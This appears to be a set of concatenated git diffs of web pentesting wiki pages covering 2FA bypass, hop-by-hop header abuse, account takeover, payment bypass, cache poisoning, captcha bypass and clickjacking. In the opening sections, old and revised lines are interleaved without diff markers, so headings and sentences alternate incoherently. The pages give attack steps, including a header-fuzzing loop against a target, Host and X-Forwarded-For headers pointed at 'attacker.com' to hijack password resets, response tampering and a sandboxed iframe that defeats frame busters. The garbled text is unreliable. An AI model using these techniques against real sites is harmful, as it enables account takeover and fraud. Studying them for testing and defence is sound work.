Exploiting race conditions for 2FA bypass can be found in a specific document.
Check the section about 2FA bypass of the following page:
### **CSRF/Clickjacking Vulnerabilities**
{% content-ref url="race-condition.md" %}
[race-condition.md](race-condition.md)
{% endcontent-ref %}
Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy.
### CSRF/Clickjacking
### **"Remember Me" Feature Exploits**
Check if there is a Cross Site Request Forgery (CSRF) or a Clickjacking vulnerability to disable the 2FA.
#### **Predictable Cookie Values**
### Remember me functionality
Guessing the "remember me" cookie value can bypass restrictions.
#### Guessable cookie
#### **IP Address Impersonation**
If the "remember me" functionality uses a new cookie with a guessable code, try to guess it.
Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions.
#### IP address
### **Utilizing Older Versions**
If the "remember me" functionality is attached to your IP address, you can try to figure out the IP address of the victim and impersonate it using the **X-Forwarded-For** header.
#### **Subdomains**
### Older versions
Testing subdomains may use outdated versions lacking 2FA support or contain vulnerable 2FA implementations.
#### Subdomains
#### **API Endpoints**
If you can find some "testing" subdomains with the login functionality, they could be using old versions that don't support 2FA (so it is directly bypassed) or those endpoints could support a vulnerable version of the 2FA.
Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods.
#### APIs
### **Handling of Previous Sessions**
If you find that the 2FA is using an API located under a /v\*/ directory (like "/v3/"), this probably means that there are older API endpoints that could be vulnerable to some kind of 2FA bypass.
Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions.
### Previous sessions
### **Access Control Flaws with Backup Codes**
When the 2FA is enabled, previous sessions created should be ended. This is because when a client has his account compromised he could want to protect it by activating the 2FA, but if the previous sessions aren't ended, this won't protect him.
Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk.
### Improper access control to backup codes
### **Information Disclosure on 2FA Page**
Backup codes are generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged (static codes). If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known.
Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern.
### Information Disclosure
### **Password Reset Disabling 2FA**
If you notice some confidential information appear on the 2FA page that you didn't know previously (like the phone number), then this can be considered an information disclosure vulnerability.
A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement.
### **Password-Reset == disable 2FA**
### **Decoy Requests**
1. Create an Account and Turn On 2FA.
2. Logout from that account.
3. Now, Go to forget Password-Reset page.
4. Change your password.
5. Now try to log in.
6. If you are not asked to enter a 2FA code, You can report.
Utilizing decoy requests to obfuscate brute force attempts or mislead rate limiting mechanisms adds another layer to bypass strategies. Crafting such requests requires a nuanced understanding of the application's security measures and rate limiting behaviors.
## References
{% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %}
{% embed url="https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718" %}
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35]("https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35")
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
<details>

View file

@ -12,73 +12,34 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
**This is a summary of the post [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Additional headers can be designated as hop-by-hop via the `Connection` header.
{% embed url="https://www.rootedcon.com/" %}
### Abusing Hop-by-Hop Headers
Improper management of hop-by-hop headers by proxies can lead to security issues. While proxies are expected to remove these headers, not all do, creating potential vulnerabilities.
## What is a hop-by-hop header?
### Testing for Hop-by-Hop Header Handling
The handling of hop-by-hop headers can be tested by observing changes in server responses when specific headers are marked as hop-by-hop. Tools and scripts can automate this process, identifying how proxies manage these headers and potentially uncovering misconfigurations or proxy behaviors.
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
Abusing hop-by-hop headers can lead to various security implications. Below are a couple of examples demonstrating how these headers can be manipulated for potential attacks:
According to [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1), the HTTP/1.1 spec treats the following headers as hop-by-hop by default: `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` and `Proxy-Authenticate`. When encountering these headers in a request, a compliant proxy should process or action whatever it is these headers are indicating, and not forward them on to the next hop.
### Bypassing Security Controls with `X-Forwarded-For`
An attacker can manipulate the `X-Forwarded-For` header to bypass IP-based access controls. This header is often used by proxies to track the originating IP address of a client. However, if a proxy treats this header as hop-by-hop and forwards it without proper validation, an attacker can spoof their IP address.
Further to these defaults, a request [may also define a custom set of headers to be treated as hop-by-hop](https://tools.ietf.org/html/rfc2616#section-14.10) by adding them to the `Connection` header, like so:
**Attack Scenario:**
1. The attacker sends an HTTP request to a web application behind a proxy, including a fake IP address in the `X-Forwarded-For` header.
2. The attacker also includes the `Connection: close, X-Forwarded-For` header, prompting the proxy to treat `X-Forwarded-For` as hop-by-hop.
3. The misconfigured proxy forwards the request to the web application without the spoofed `X-Forwarded-For` header.
4. The web application, not seeing the original `X-Forwarded-For` header, might consider the request as coming directly from a trusted proxy, potentially allowing unauthorized access.
```
Connection: close, X-Foo, X-Bar
```
### Cache Poisoning via Hop-by-Hop Header Injection
If a cache server incorrectly caches content based on hop-by-hop headers, an attacker could inject malicious headers to poison the cache. This would serve incorrect or malicious content to users requesting the same resource.
## The theory on abusing hop-by-hop headers
In theory, proxies should remove hop-by-hop headers received before sending them to the next address. But you can find in the wild that this is done by some proxies and others just send all the headers adding its own `Connection`header.
![](<../.gitbook/assets/image (138).png>)
## Testing hop-by-hop deletions
If you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop-by-hop deletions. For example, the cookie header will make the response of the server to be dramatically different if it is set (with a valid content) and if it is not.
So, send a request with a valid header and with this value of the Connection header `Connection: close, Cookie` if the response is the same as if the cookie wasn't sent, then there is a proxy removing headers.
You can find if the response of the server is any different if a header is deleted using this technique using[ this script](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d). Then, if you pass in a list of known headers, such as [this one](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers), you can observe which headers are causing effects despite not being in your original request:
```
for HEADER in $(cat headers.txt); do python poison-test.py -u "https://target" -x "$HEADER"; sleep 1; done
```
This will cycle through the entire header list and print out if its presence in the hop-by-hop list created a different status code or response body size.
## Abusing X-Forwarded-For
In general, proxies will add the IPs of the clients inside the `X-Forwarded-For` header so the next hop will know where does the petition comes from. However, if an attacker sends a Connection value like `Connection: close, X-Forwarded-For` and the first proxy sends the hop-by-hop headers with their values (it sends the special Connection value), then the second value may delete the X-Forward-For header.\
At the end, the final App won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by IP whitelisting (maybe some `/admin` ?).
Depending on the system being targeted, you may also have `Forwarded`, `X-Real-IP`, and a bunch of others that are less common.
## Detecting Proxies and fingerprinting services
This technique may be useful to detect proxies (using the cookie technique) or even to detect services. For example, if you abuse this technique to delete the header `X-BLUECOAT-VIA` and an error is thrown, then you have find that Bluecoat was being used.
## Other Attacks
* For a possible DoS Cache poisoning abusing this technique read the original link
* This could be useful in attacks that may allow you to insert new headers (low probability)
* Also,it could be useful to bypass defensive functionalities. For example, if the lack of a header means that a request shouldn't be processed by a WAF, you could bypass a WAF with this technique.
## References
{% embed url="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\
{% embed url="https://www.rootedcon.com/" %}
**Attack Scenario:**
1. An attacker sends a request to a web application with a hop-by-hop header that should not be cached (e.g., `Connection: close, Cookie`).
2. The poorly configured cache server does not remove the hop-by-hop header and caches the response specific to the attacker's session.
3. Future users requesting the same resource receive the cached response, which was tailored for the attacker, potentially leading to session hijacking or exposure of sensitive information.
<details>

View file

@ -16,27 +16,28 @@ Other ways to support HackTricks:
## **Authorization Issue**
Try to change the email of an account and **check how the confirmation works**. If **weak**, try to change the email to the victim one and confirm it.
The email of an account should be attempted to be changed, and the confirmation process **must be examined**. If found to be **weak**, the email should be changed to that of the intended victim and then confirmed.
## **Unicode Normalization Issue**
1. victim account `victim@gmail.com`
2. create an account using Unicode\
example: `vićtim@gmail.com`
1. The account of the intended victim `victim@gmail.com`
2. An account should be created using Unicode\
for example: `vićtim@gmail.com`
For further details, refer to the document on Unicode Normalization:
{% content-ref url="unicode-injection/unicode-normalization.md" %}
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
{% endcontent-ref %}
## **Reusing Reset Token**
If target allows you to **reuse the reset link** then **hunt** for more reset link via `gau` ,`wayback` or `scan.io`
Should the target system allow the **reset link to be reused**, efforts should be made to **find more reset links** using tools such as `gau`, `wayback`, or `scan.io`.
## **Pre Account Takeover**
1. Signup using the victims email in the platform and set a password (try to confirm if possible, but lacking access to the victim emails might be impossible)
2. Wait till the victim signs up using oauth and confirms the account
3. Hopefully, the regular signup will be confirmed and you will be able to enter in the victims account
1. The victim's email should be used to sign up on the platform, and a password should be set (an attempt to confirm it should be made, although lacking access to the victim's emails might render this impossible).
2. One should wait until the victim signs up using OAuth and confirms the account.
3. It is hoped that the regular signup will be confirmed, allowing access to the victim's account.
## **CORS Misconfiguration to Account Takeover**
@ -86,6 +87,23 @@ If the authentication response could be **reduced to a simple boolean just try t
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
## Host Header Injection
1. The Host header is modified following a password reset request initiation.
2. The `X-Forwarded-For` proxy header is altered to `attacker.com`.
3. The Host, Referrer, and Origin headers are simultaneously changed to `attacker.com`.
4. After initiating a password reset and then opting to resend the mail, all three of the aforementioned methods are employed.
## Response Manipulation
1. **Code Manipulation**: The status code is altered to `200 OK`.
2. **Code and Body Manipulation**:
- The status code is changed to `200 OK`.
- The response body is modified to `{"success":true}` or an empty object `{}`.
These manipulation techniques are effective in scenarios where JSON is utilized for data transmission and receipt.
## References
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)

View file

@ -27,11 +27,17 @@ Extensions contains the file **`manifest.json`** and that JSON file has a field
> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
In addition to being web accessible, the resources in the **`web_accessible_resources`** run with the ambient authority of the extension: they can alter state, load other resources, and modify the browser in certain ways. If a document in `web_accessible_resources` can perform any interesting behavior, an attacker can embed it in a webpage and trick visitors into triggering it.
The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
- Change the extension's state
- Load additional resources
- Interact with the browser to a certain extent
However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
## PrivacyBadger Example
It was discovered that the extension PrivacyBadger, the contents of the directory `skin/` were `web_accessible_resources`:
In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
@ -40,13 +46,17 @@ It was discovered that the extension PrivacyBadger, the contents of the director
]
```
So, by loading `skin/popup.html`, the document that gets rendered when you click the the PrivacyBadger icon in the browser, i**n an iframe we could fool the user into clicking "Disable PrivacyBadger for this Website"**, opening up the user to additional tracking and undermining the function of PrivacyBadger. **Check the ClickJacking video example in** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.
The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
@ -102,6 +112,7 @@ Check the following page to check how a **XSS** in a browser extension was chain
## References
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
<details>

View file

@ -22,13 +22,36 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
***
## Payment Bypass Techniques
1. It is preferable to choose **PayPal** or **CoinPayments** as a payment method
2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer**_ or _**Callback**_
3. If the value inside the parameter has a URL like this _**example.com/payment/MD5HASH**_ for example
4. **Copy it, and open it on a new window**, you will find that your payment was successful
### Request Interception
During the transaction process, it is crucial to monitor the data being exchanged between the client and the server. This can be done by intercepting all requests. Within these requests, look out for parameters with significant implications, such as:
- **Success**: This parameter often indicates the status of the transaction.
- **Referrer**: It might point to the source from where the request originated.
- **Callback**: This is typically used for redirecting the user after a transaction is completed.
### URL Analysis
If you encounter a parameter that contains a URL, especially one following the pattern _example.com/payment/MD5HASH_, it requires closer examination. Here's a step-by-step approach:
1. **Copy the URL**: Extract the URL from the parameter value.
2. **New Window Inspection**: Open the copied URL in a new browser window. This action is critical for understanding the transaction's outcome.
### Parameter Manipulation
1. **Change Parameter Values**: Experiment by altering the values of parameters like _Success_, _Referrer_, or _Callback_. For instance, changing a parameter from `false` to `true` can sometimes reveal how the system handles these inputs.
2. **Remove Parameters**: Try removing certain parameters altogether to see how the system reacts. Some systems might have fallbacks or default behaviors when expected parameters are missing.
### Cookie Tampering
1. **Examine Cookies**: Many websites store crucial information in cookies. Inspect these cookies for any data related to payment status or user authentication.
2. **Modify Cookie Values**: Alter the values stored in the cookies and observe how the website's response or behavior changes.
### Session Hijacking
1. **Session Tokens**: If session tokens are used in the payment process, try capturing and manipulating them. This might give insights into session management vulnerabilities.
### Response Tampering
1. **Intercept Responses**: Use tools to intercept and analyze the responses from the server. Look for any data that might indicate a successful transaction or reveal the next steps in the payment process.
2. **Modify Responses**: Attempt to modify the responses before they are processed by the browser or the application to simulate a successful transaction scenario.
@SalahHasoneh1
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

View file

@ -31,10 +31,15 @@ Get Access Today:
## Cache Poisoning
The goal of poisoning the cache is to make the **clients load unexpected resources partially or controlled by the attacker**.\
The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not.
Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.
To perform a cache poisoning attack, you need first to **identify unkeyed inputs** (parameters not needed to appear on the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**.
The execution of a cache poisoning assault involves several steps:
1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
### Discovery: Check HTTP headers
@ -72,7 +77,7 @@ When caching a request, be **careful with the headers you use** because some of
### Easiest example
A header like `X-Forwarded-For` is being reflected in the response unsanitized>\
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
```markup
@ -149,55 +154,25 @@ Sending a bad value in the content-type header triggered a 405 cached response.
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
### Rack Middleware (Ruby on rails)
### Rack Middleware (Ruby on Rails)
Ruby on Rails application is often deployed alongside the Rack middleware. The Rack code below takes the value of the **`x-forwarded-scheme` value and uses it as the scheme of the request**.
![](<../.gitbook/assets/image (159) (2).png>)
Sending the `x-forwarded-scheme: http` header would result in a 301 redirect to the same location which will cause a DoS over that resource as in this example:
![](<../.gitbook/assets/image (166).png>)
The application might also support the header `X-forwarded-host` and redirect the user to that host, making it possible to load javascript files from the attacker server:
![](<../.gitbook/assets/image (157) (2).png>)
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
### 403 and Storage Buckets
Previously, **Cloudflare** used to **cache** the **403 responses**, therefore sending **bad Authorization** headers trying to access **S3** or **Azure Storage Blobs** exposed will return a 403 that will be cached. Cloudflare no longer caches 403 responses but this might work with other proxies.
![](<../.gitbook/assets/image (171).png>)
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
### Injecting Keyed Parameters
Quite often, caches are configured to **only include specific GET parameters in the cache key**.
For example, Fastly using Varnish **cached the `size` parameter** in the request but if you sent **also** the **`siz%65`** parameter with a bad value, the **cache key** was constructed with the **well written size param**, but the **backend** used the **value inside the URL encoded param**.
![](<../.gitbook/assets/image (180).png>)
URL encoding the second `size` parameter caused it to be ignored by the cache, but used by the backend. Giving the parameter a value of 0 would result in a cacheable 400 Bad Request.
Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.
### User Agent Rules
Due to the high amount of traffic tools like FFUF or Nuclei generate, some developers decided to block requests matching their user-agents. Ironically, these tweaks can introduce unwanted cache poisoning and DoS opportunities.
![](<../.gitbook/assets/image (167) (2).png>)
I found this worked on multiple targets, with user-agents from different tools or scanners.
Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
### Illegal Header Fields
The header name format is defined in [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) as follows:
![](<../.gitbook/assets/image (175) (2).png>)
In theory, if a header name contains characters other than the ones listed in **tchar** it should be rejected with a 400 Bad request. In practice, however, servers don't always respect the RFC. The easiest way to exploit this nuance was by targeting Akamai which doesn't reject invalid headers, but forwards them and caches any 400 error as long the cache-control header is not present.
![](<../.gitbook/assets/image (163).png>)
Sending a header containing an illegal character, `\` would cause a cacheable 400 Bad Request error. This was one of the most commonly identified patterns throughout my testing.
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
### Finding new headers
@ -233,6 +208,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -16,19 +16,31 @@ Other ways to support HackTricks:
## Captcha Bypass
To **automate** the **testing** of some functions of the server that allows user input it **could** be **needed** to **bypass** a **captcha** implementation. Therefore, try to test for these things:
To **bypass** the captcha during **server testing** and automate user input functions, various techniques can be employed. The objective is not to undermine security but to streamline the testing process. Here's a comprehensive list of strategies:
1. **Parameter Manipulation**:
* **Omit the Captcha Parameter**: Avoid sending the captcha parameter. Experiment with changing the HTTP method from POST to GET or other verbs, and altering the data format, such as switching between form data and JSON.
* **Send Empty Captcha**: Submit the request with the captcha parameter present but left empty.
2. **Value Extraction and Reuse**:
* **Source Code Inspection**: Search for the captcha value within the page's source code.
* **Cookie Analysis**: Examine the cookies to find if the captcha value is stored and reused.
* **Reuse Old Captcha Values**: Attempt to use previously successful captcha values again.
* **Session Manipulation**: Try using the same captcha value across different sessions or the same session ID.
3. **Automation and Recognition**:
* **Mathematical Captchas**: If the captcha involves math operations, automate the calculation process.
* **Image Recognition**:
* For captchas that require reading characters from an image, manually or programmatically determine the total number of unique images. If the set is limited, you might identify each image by its MD5 hash.
* Utilize Optical Character Recognition (OCR) tools like [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) to automate character reading from images.
4. **Additional Techniques**:
* **Rate Limit Testing**: Check if the application limits the number of attempts or submissions in a given timeframe and whether this limit can be bypassed or reset.
* **Third-party Services**: Employ captcha-solving services or APIs that offer automated captcha recognition and solving.
* **Session and IP Rotation**: Frequently change session IDs and IP addresses to avoid detection and blocking by the server.
* **User-Agent and Header Manipulation**: Alter the User-Agent and other request headers to mimic different browsers or devices.
* **Audio Captcha Analysis**: If an audio captcha option is available, use speech-to-text services to interpret and solve the captcha.
* **Do not send the parameter** related to the captcha.
* Change from POST to GET or other HTTP Verbs
* Change to JSON or from JSON
* Send the **captcha parameter empty**.
* Check if the value of the captcha is **in the source code** of the page.
* Check if the value is **inside a cookie.**
* Try to use an **old captcha value**
* Check if you can use the **same** captcha **value** several times with **the same or different sessionID.**
* If the captcha consists on a **mathematical operation** try to **automate** the **calculation.**
* If the captcha consists of **read characters from an image**, check manually or with code **how many images** are being used and if only a **few images are being used, detect them by MD5.**
* Use an **OCR** ([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)).
## Online Services to bypass captchas

View file

@ -24,7 +24,8 @@ Get Access Today:
## What is Clickjacking
Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)).
In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.
### Prepopulate forms trick
@ -120,59 +121,95 @@ Example:\
_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\
\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
## How to avoid Clickjacking
## Strategies to Mitigate Clickjacking
### Client side defences
### Client-Side Defenses
It's possible to execute scripts on the client side that perform some or all of the following behaviours to prevent Clickjacking:
Scripts executed on the client side can perform actions to prevent Clickjacking:
* check and enforce that the current application window is the main or top window,
* make all frames visible,
* prevent clicking on invisible frames,
* intercept and flag potential clickjacking attacks on a user.
* Ensuring the application window is the main or top window.
* Making all frames visible.
* Preventing clicks on invisible frames.
* Detecting and alerting users to potential Clickjacking attempts.
#### Bypass
However, these frame-busting scripts may be circumvented:
As frame busters are JavaScript then the browser's security settings may prevent their operation or indeed the browser might not even support JavaScript. An effective attacker workaround against frame busters is to use the **HTML5 iframe `sandbox` attribute**. When this is set with the `allow-forms` or `allow-scripts` values and the `allow-top-navigation` value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window:
* **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
* **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,
```markup
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Both the `allow-forms` and `allow-scripts` values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviours while allowing functionality within the targeted site.
The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
Depending on the type of Clickjacking attack performed **you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow.
### Server-Side Defenses
### X-Frame-Options
#### X-Frame-Options
The **`X-Frame-Options` HTTP response header** can be used to indicate whether or not a browser should be **allowed** to render a page in a `<frame>` or `<iframe>`. Sites can use this to avoid Clickjacking attacks, by ensuring that **their content is not embedded into other sites**. Set the **`X-Frame-Options`** header for all responses containing HTML content. The possible values are:
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
* `X-Frame-Options: deny` which **prevents any domain from framing the content** _(Recommended value)_
* `X-Frame-Options: sameorigin` which only **allows the current site** to frame the content.
* `X-Frame-Options: allow-from https://trusted.com` which **permits the specified 'uri'** to frame this page.
* Check limitations below because **this will fail open if the browser does not support it**.
* Other browsers support the new **CSP frame-ancestors directive instead**. A few support both.
* `X-Frame-Options: deny` - No domain can frame the content.
* `X-Frame-Options: sameorigin` - Only the current site can frame the content.
* `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
* Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
### Content Security Policy (CSP) frame-ancestors directive
#### Content Security Policy (CSP) frame-ancestors directive
The **recommended clickjacking protection** is to incorporate the **`frame-ancestors` directive** in the application's Content Security Policy.\
The **`frame-ancestors 'none'`** directive is similar in behaviour to the **X-Frame-Options `deny`** directive (_No-one can frame the page_).\
The **`frame-ancestors 'self'`** directive is broadly equivalent to the **X-Frame-Options `sameorigin`** directive (_only current site can frame it_).\
The **`frame-ancestors trusted.com`** directive is broadly equivalent to the **X-Frame-Options** `allow-from`directive (_only trusted site can frame it_).
**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
The following CSP whitelists frames to the same domain only:
